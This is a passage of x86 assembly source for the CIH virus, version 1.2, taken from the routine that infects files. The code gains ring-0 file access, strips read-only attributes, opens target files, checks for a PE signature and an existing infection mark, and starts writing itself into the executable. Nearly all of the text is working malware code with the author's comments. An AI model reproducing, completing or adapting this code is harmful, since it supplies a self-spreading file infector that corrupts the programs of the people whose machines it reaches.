cih1.2.txt

1. Create the Virus Program. * * 2. The Virus Modifies IDT to Get Ring0 Privilege.

                                                                                 
; *************************************                                          
; * Is Read-Only File !?              *                                          
; *************************************                                          
                                                                                 
                        test    cl, 01h                                          
                        jz      OpenFile                                         
                                                                                 
; *************************************                                          
; * Modify Read-Only File to Write    *                                          
; *************************************                                          
                                                                                 
                        mov     ax, 4301h                                        
                        xor     ecx, ecx                                         
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO            
                                                                                 
; *************************************                                          
; * Open File                         *                                          
; *************************************                                          
                                                                                 
OpenFile:                                                                        
                        xor     eax, eax                                         
                        mov     ah, 0d5h                                         
                        xor     ecx, ecx                                         
                        xor     edx, edx                                         
                        inc     edx                                              
                        mov     ebx, edx                                         
                        inc     ebx                                              
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO            
                                                                                 
                        xchg    ebx, eax        ; mov ebx, FileHandle            
                                                                                 
; *************************************                                          
; * Need to Restore                   *                                          
; * Attributes of the File !?         *                                          
; *************************************                                          
                                                                                 
                        pop     ecx                                              
                                                                                 
                        pushf                                                    
                                                                                 
                        test    cl, 01h                                          
                        jz      IsOpenFileOK                                     
                                                                                 
; *************************************                                          
; * Restore Attributes of the File    *                                          
; *************************************                                          
                                                                                 
                        mov     ax, 4301h                                        
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO            
                                                                                 
; *************************************                                          
; * Is Open File OK !?                *                                          
; *************************************                                          
                                                                                 
IsOpenFileOK:                                                                    
                        popf                                                     
                                                                                 
                        jc      DisableOnBusy                                    
                                                                                 
; *************************************                                          
; * Open File Already Succeed.   ^__^ *                                          
; *************************************                                          
                                                                                 
                        push    esi     ; Push FileNameBuffer Address to Stack   
                                                                                 
                        pushf           ; Now CF = 0, Push Flag to Stack         
                                                                                 
                        add     esi, DataBuffer-@7 ; mov esi, offset DataBuffer  
                                                                                 
; ***************************                                                    
; * Get OffsetToNewHeader   *                                                    
; ***************************                                                    
                                                                                 
                        xor     eax, eax                                         
                        mov     ah, 0d6h                                         
                                                                                 
                        ; For Doing Minimal VirusCode's Length,                  
                        ; I Save EAX to EBP.                                     
                        mov     ebp, eax                                         
                                                                                 
                        xor     ecx, ecx                                         
                        mov     cl, 04h                                          
                        xor     edx, edx                                         
                        mov     dl, 3ch                                          
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO            
                                                                                 
                        mov     edx, [esi]                                       
                                                                                 
; ***************************                                                    
; * Get 'PE\0' Signature    *                                                    
; * of ImageFileHeader, and *                                                    
; * Infected Mark.          *                                                    
; ***************************                                                    
                                                                                 
                        dec     edx                                              
                                                                                 
                        mov     eax, ebp                                         
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO            
                                                                                 
; ***************************                                                    
; * Is PE !?                *                                                    
; ***************************                                                    
; * Is the File             *                                                    
; * Already Infected !?     *                                                    
; ***************************                                                    
                                                                                 
                        ; cmp [esi], '\0PE\0'                                    
                        cmp     dword ptr [esi], 00455000h                       
                        jne     CloseFile                                        
                                                                                 
; *************************************                                          
; * The File is                   ^o^ *                                          
; * PE(Portable Executable) indeed.   *                                          
; *************************************                                          
; * The File isn't also Infected.     *                                          
; *************************************                                          
                                                                                 
; *************************************                                          
; * Start to Infect the File          *                                          
; *************************************                                          
; * Registers Use Status Now :        *                                          
; *                                   *                                          
; * EAX = 04h                         *                                          
; * EBX = File Handle                 *                                          
; * ECX = 04h                         *                                          
; * EDX = 'PE\0\0' Signature of       *                                          
; *       ImageFileHeader Pointer's   *                                          
; *       Former Byte.                *                                          
; * ESI = DataBuffer Address ==> @8   *                                          
; * EDI = IFSMgr_Ring0_FileIO Address *                                          
; * EBP = D600h ==> Read Data in File *                                          
; *************************************                                          
; * Stack Dump :                      *                                          
; *                                   *                                          
; * ESP => -------------------------  *                                          
; *        |       EFLAG(CF=0)     |  *                                          
; *        -------------------------  *                                          
; *        | FileNameBufferPointer |  *                                          
; *        -------------------------  *                                          
; *        |          EDI          |  *                                          
; *        -------------------------  *                                          
; *        |          ESI          |  *                                          
; *        -------------------------  *                                          
; *        |          EBP          |  *                                          
; *        -------------------------  *                                          
; *        |          ESP          |  *                                          
; *        -------------------------  *                                          
; *        |          EBX          |  *                                          
; *        -------------------------  *                                          
; *        |          EDX          |  *                                          
; *        -------------------------  *                                          
; *        |          ECX          |  *                                          
; *        -------------------------  *                                          
; *        |          EAX          |  *                                          
; *        -------------------------  *                                          
; *        |     Return Address    |  *                                          
; *        -------------------------  *